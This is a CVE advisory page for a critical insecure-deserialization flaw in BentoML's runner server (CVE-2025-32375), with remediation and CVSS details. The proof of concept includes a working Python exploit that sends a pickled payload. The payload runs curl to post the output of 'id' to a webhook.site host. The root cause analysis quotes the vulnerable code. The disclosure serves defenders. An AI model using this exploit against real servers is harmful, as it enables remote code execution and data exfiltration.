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CVE-2025-32375 — Vulnerability in bentoml — CVE Details

CRITICAL

BentoML's runner server Vulnerable to Remote Code Execution (RCE) via Insecure Deserialization

Published April 9, 2025Updated June 10, 2026Source: osv

Summary

### Summary There was an insecure deserialization in BentoML's runner server. By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server, which will grant the attackers to have the initial access and information disclosure on the server. ### PoC - First, create a file named **model.py** to create a simple model and save it ``` import bentoml import numpy as np class mymodel: def predict(self, info): return np.abs(info) def __call__(self, info): return self.predict(info) model = mymodel() bentoml.picklable_model.save_model("mymodel", model) ``` - Then run the following command to save this model ``` python3 model.py ``` - Next, create **bentofile.yaml** to build this model ``` service: "service.py" description: "A model serving service with BentoML" python: packages: - bentoml - numpy models: - tag: MyModel:latest include: - "*.py" ``` - Then, create **service.py** to host this model ``` import bentoml from bentoml.io import NumpyNdarray import numpy as np model_runner = bentoml.picklable_model.get("mymodel:latest").to_runner() svc = bentoml.Service("myservice", runners=[model_runner]) async def predict(input_data: np.ndarray): input_columns = np.split(input_data, input_data.shape[1], axis=1) result_generator = model_runner.async_run(input_columns, is_stream=True) async for result in result_generator: yield result ``` - Then, run the following commands to build and host this model ``` bentoml build bentoml start-runner-server --runner-name mymodel --working-dir . --host 0.0.0.0 --port 8888 ``` - Finally, run this below python script to exploit insecure deserialization vulnerability in BentoML's runner server. ``` import requests import pickle url = "http://0.0.0.0:8888/" headers = { "args-number": "1", "Content-Type": "application/vnd.bentoml.pickled", "Payload-Container": "NdarrayContainer", "Payload-Meta": '{"format": "default"}', "Batch-Size": "-1", } class P: def __reduce__(self): return (__import__('os').system, ('curl -X POST -d "$(id)" https://webhook.site/61093bfe-a006-4e9e-93e4-e201eabbb2c3',)) response = requests.post(url, headers=headers, data=pickle.dumps(P())) print(response) ``` And I can replace the **NdarrayContainer** with **PandasDataFrameContainer** in **Payload-Container** header and the exploit still working. After running **exploit.py** then the output of the command **id** will be send out to the WebHook server. ### Root Cause Analysis: - When handling a request in BentoML runner server in `src/bentoml/_internal/server/runner_app.py`, when the request header `args-number` is equal to 1, it will call the function `_deserialize_single_param` like the code below: ``` https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L291-L298 async def _request_handler(request: Request) -> Response: assert self._is_ready arg_num = int(request.headers["args-number"]) r_: bytes = await request.body() if arg_num == 1: params: Params[t.Any] = _deserialize_single_param(request, r_) ``` - Then this is the function of `_deserialize_single_param`, which will take the value of all request headers of `Payload-Container`, `Payload-Meta` and `Batch-Size` and the crafted into `Payload` class which will contain the data from `request.body` ``` https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L376-L393 def _deserialize_single_param(request: Request, bs: bytes) -> Params[t.Any]: container = request.headers["Payload-Container"] meta = json.loads(request.headers["Payload-Meta"]) batch_size = int(request.headers["Batch-Size"]) kwarg_name = request.headers.get("Kwarg-Name") payload = Payload( data=bs, meta=meta, batch_size=batch_size, container=container, ) if kwarg_name: d = {kwarg_name: payload} params: Params[t.Any] = Params(**d) else: params: Params[t.Any] = Params(payload) return params ``` - After crafting `Params` containing payload, it will call to function `infer` with `params` variable as input ``` https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L303-L304 try: payload = await infer(params) ``` - Inside function `infer`, the `params` variable with is belong to class `Params` will call the function `map` of that class with `AutoContainer.from_payload` as a parameter. ``` https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L278-L289 async def infer(params: Params[t.Any]) -> Payload: params = params.map(AutoContainer.from_payload) try: ret = await runner_method.async_run( *params.args, **params.kwargs ) except Exception: traceback.print_exc() raise return AutoContainer.to_payload(ret, 0) ``` - Inside class `Params` define the function `map` which will call the `AutoContainer.from_payload` function with arguments, which are `data`, `meta`, `batch_size` and `container` ``` https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/runner/utils.py#L59-L66 def map(self, function: t.Callable[[T], To]) -> Params[To]: """ Apply a function to all the values in the Params and return a Params of the return values. """ args = tuple(function(a) for a in self.args) kwargs = {k: function(v) for k, v in self.kwargs.items()} return Params[To](*args, **kwargs) ``` - Inside class `AutoContainer` class have defined the function `from_payload` which will find the class by the `payload.container` , which is the value of header `Payload-Container`, and it will call the function `from_payload` from the chosen class as return value ``` https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/runner/container.py#L710-L712 def from_payload(cls, payload: Payload) -> t.Any: container_cls = DataContainerRegistry.find_by_name(payload.container) return container_cls.from_payload(payload) ``` And if the attacker set value of header `Payload-Container` to `NdarrayContainer` or `PandasDataFrameContainer`, it will call `from_payload` and when it then check if the `payload.meta["format"] == "default"` it will call `pickle.loads(payload.data)` and `payload.meta["format"]` is the value of header `Payload-Meta` and the attacker can set it to `{"format": "default"}` and `payload.data` is the value of `request.body` which is the payload from malicious `class P` in my request, which will trigger `__reduce__` method and then execute arbitrary commands (for my example is the `curl` command) ``` https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/runner/container.py#L411-L416 def from_payload( cls, payload: Payload, ) -> ext.PdDataFrame: if payload.meta["format"] == "default": return pickle.loads(payload.data) https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/runner/container.py#L306-L312 def from_payload( cls, payload: Payload, ) -> ext.NpNDArray: format = payload.meta.get("format", "default") if format == "default": return pickle.loads(payload.data) ``` ### Impact In the above Proof of Concept, I have shown how the attacker can execute command **id** and send the output of the command to the outside. By replacing **id** command with any OS commands, this insecure deserialization in BentoML's runner server will grant the attacker the permission to gain the remote shell on the server and injecting backdoors to persist access.

Advisory Timeline

  • First published April 9, 2025 (551 days ago).
  • Last revised June 10, 2026 — 427 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

pip
Update bentoml to 1.4.8 or later
pip install "bentoml>=1.4.8"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: pypi (1).

PackageEcosystemAffectedFixed In
bentoml
pypi
1.0.0, 1.0.0a1, 1.0.0a2, 1.0.0a3 (+111 more)1.4.8

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-502
    Deserialization of Untrusted DataMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2025-32375?
BentoML's runner server Vulnerable to Remote Code Execution (RCE) via Insecure Deserialization This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
How do I check if my project is affected by CVE-2025-32375?
CVE-2025-32375 affects bentoml. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2025-32375 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.8

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-7v4r-c989-xh26
PYSEC-2025-32

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